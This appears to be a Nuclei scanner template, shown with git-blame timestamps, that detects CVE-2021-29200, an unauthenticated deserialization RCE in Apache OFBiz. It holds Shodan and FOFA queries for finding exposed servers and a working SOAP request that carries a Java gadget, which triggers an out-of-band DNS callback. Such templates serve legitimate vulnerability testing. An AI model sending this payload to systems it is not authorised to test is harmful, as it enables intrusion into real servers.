2023-12-15 12:18:56 +00:00
|
|
|
id: CVE-2021-29200
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Apache OFBiz < 17.12.07 - Arbitrary Code Execution
|
|
|
|
author: your3cho
|
|
|
|
severity: critical
|
|
|
|
description: |
|
2023-12-19 01:54:17 +00:00
|
|
|
Apache OFBiz has unsafe deserialization prior to 17.12.07 version An unauthenticated user can perform an RCE attack
|
2023-12-15 12:18:56 +00:00
|
|
|
reference:
|
|
|
|
- http://www.openwall.com/lists/oss-security/2021/04/27/4
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-29200
|
|
|
|
- https://github.com/freeide/CVE-2021-29200
|
2024-01-14 13:49:27 +00:00
|
|
|
- https://lists.apache.org/thread.html/r108a964764b8bd21ebd32ccd4f51c183ee80a251c105b849154a8e9d%40%3Ccommits.ofbiz.apache.org%3E
|
|
|
|
- https://lists.apache.org/thread.html/r708351f1a8af7adb887cc3d8a92bed8fcbff4a9e495e69a9ee546fda%40%3Cnotifications.ofbiz.apache.org%3E
|
2023-12-19 01:54:17 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2024-01-14 13:49:27 +00:00
|
|
|
cve-id: CVE-2021-29200
|
2023-12-19 01:54:17 +00:00
|
|
|
cwe-id: CWE-502
|
2024-01-14 13:49:27 +00:00
|
|
|
epss-score: 0.90403
|
|
|
|
epss-percentile: 0.98567
|
2023-12-19 01:54:17 +00:00
|
|
|
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
|
2023-12-15 12:18:56 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
|
|
|
vendor: apache
|
|
|
|
product: ofbiz
|
|
|
|
shodan-query: html:"OFBiz"
|
|
|
|
fofa-query: app="Apache_OFBiz"
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2021,cve,apache,ofbiz,deserialization,rce
|
2023-12-15 12:18:56 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /webtools/control/SOAPService HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/xml
|
|
|
|
|
|
|
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
|
|
<soapenv:Header/>
|
|
|
|
<soapenv:Body>
|
|
|
|
<ser>
|
|
|
|
<map-HashMap>
|
|
|
|
<map-Entry>
|
|
|
|
<map-Key>
|
|
|
|
<cus-obj>{{generate_java_gadget("dns", "http://{{interactsh-url}}", "hex")}}</cus-obj>
|
|
|
|
</map-Key>
|
|
|
|
<map-Value>
|
|
|
|
<std-String value="STDSTRING"/>
|
|
|
|
</map-Value>
|
|
|
|
</map-Entry>
|
|
|
|
</map-HashMap>
|
|
|
|
</ser>
|
|
|
|
</soapenv:Body>
|
|
|
|
</soapenv:Envelope>
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol
|
|
|
|
words:
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- 'value="responseMessage"'
|
2024-01-14 14:05:19 +00:00
|
|
|
# digest: 4a0a00473045022100f221e45d0d4913f1ae3a0f089c71e1cb79b25471b22c912f9c266df8e6c4dfac02202d7ec937f1858daf4baaf7f60003ec897f053c7e73a3c9a3f613c305a1d0c218:922c64590222798bb761d5b6d8e72950
|